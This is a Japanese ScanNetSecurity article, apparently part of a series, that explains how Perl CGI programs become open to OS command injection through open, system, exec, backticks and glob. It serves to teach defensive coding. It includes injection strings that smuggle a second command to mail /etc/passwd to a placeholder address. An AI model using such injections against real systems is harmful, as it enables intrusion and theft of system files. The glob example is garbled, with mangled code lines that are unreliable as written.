【Webアプリケーションのセキュリティ 7】〜 cgiのセキュリティホール 〜 | ScanNetSecurity
2024.07.27(土)

【Webアプリケーションのセキュリティ 7】〜 cgiのセキュリティホール 〜

 前回Perlを用いたcgiプログラミングについて、セキュリティホールとなる実装ミスについて実例をあげて、その危険性と、セキュリティホールとならないよう必要なコーディングについて説明した。今回はcgiのどのような部分が、外部からのOSコマンド実行を許してしまう脆

特集
 前回Perlを用いたcgiプログラミングについて、セキュリティホールとなる実装ミスについて実例をあげて、その危険性と、セキュリティホールとならないよう必要なコーディングについて説明した。今回はcgiのどのような部分が、外部からのOSコマンド実行を許してしまう脆弱点となるかについて解説する。

 Perlによるcgiプログラミングについては前回既に述べているが、危険な関数についてもう一度整理してみると次のようなものがある[1]。

 外部からの任意のコマンド入力を許してしまう脆弱点となりやすい典型的な関数はopen 文である。open 関数は、ヌル文字やパイプ文字で汚染された文字列の入力に対する脆弱性を塞がなければならない。またopenされるべきファイルとして指定可能な範囲に注意しなければならない。../ といったディレクトリトラバーサルが可能な場合には、機密にすべき重要ファイルをOpenされてしまうことがある。open 関数の代わりにsysopen 関数を使った場合には、このような実装ミスの危険はなくなる。

 open関数と同様に外部からのOSコマンドインジェクションの危険性がある関数にはsystem関数、exec関数がある。また `` によるbackticks構文も同様の危険性がある。例えば

 system("date | sendmail $mailaddr");

と実装された、dateコマンドの出力結果を入力されたメールアドレスにメールするというプログラムに対して、$mailaddrに foo@bar.com; sendmail foo@bar.com < /etc/passwd という内容を代入されてしまった場合、

 system("date | sendmail foo@bar.com; sendmail foo@bar.com < /etc/passwd");

となり、パスワードファイル /etc/passwd/ を指定されたアドレスに送信させられてしまう。

 glob 関数は内部的にシェル関数を呼び出しているためにOSコマンドインジェクションの危険性がある。また<>によるfileglob構文は内部的に glob 関数を呼び出して用いているため、同様の危険性がある。例えば、

 @files = ;

という、/usr/include ディレクトリ下について指定されたファイル検索をするプログラムに対して、net*.h; sendmail foo@bar.com < /etc/passwd という文字列を検索ワードとして代入されてしまった場合、

 @files = foo@bar.com < /etc/passwd>;

となって、やはり/etc/passwd/ を指定されたアドレスに送信させられてしまう。

office
office@ukky.net
http://www.office.ac/

[1] http://www.ipa.go.jp/security/awareness/vendor/programming/a04_01.html

(詳しくはScan本誌をご覧ください)
http://shop.vagabond.co.jp/m-ssw01.shtml
《ScanNetSecurity》

特集 アクセスランキング

  1. 今日もどこかで情報漏えい 第26回「2024年6月の情報漏えい」ふたつの “完全には否定できない” 違いは どこを向いているか

    今日もどこかで情報漏えい 第26回「2024年6月の情報漏えい」ふたつの “完全には否定できない” 違いは どこを向いているか

  2. 能力のないサーバ管理者 サーバモンキーはネットセキュリティの危険因子

    能力のないサーバ管理者 サーバモンキーはネットセキュリティの危険因子

  3. アンチ・シリコンジャーナリズム それってデータの裏付けあるの? 前編「存在しない『炎上』の作り方」

    アンチ・シリコンジャーナリズム それってデータの裏付けあるの? 前編「存在しない『炎上』の作り方」

  4. Scan社長インタビュー 第1回「NRIセキュア 柿木 彰 社長就任から200日間」前編

  5. 【無料ツールで作るセキュアな環境(67)】〜 zebedee 5〜(執筆:office)

  6. 日本プルーフポイント増田幸美のセキュリティ情報プレゼンテーション必勝ノウハウ

  7. 作っているのはWebアプリではない ~ S4プロジェクト チーフデザイナー かめもときえインタビュー

アクセスランキングをもっと見る

「経理」「営業」「企画」「プログラミング」「デザイン」と並ぶ、事業で成功するためのビジネスセンスが「セキュリティ」
「経理」「営業」「企画」「プログラミング」「デザイン」と並ぶ、事業で成功するためのビジネスセンスが「セキュリティ」

ページ右上「ユーザー登録」から会員登録すれば会員限定記事を閲覧できます。毎週月曜の朝、先週一週間のセキュリティ動向を総括しふりかえるメルマガをお届け。(写真:ScanNetSecurity 名誉編集長 りく)

×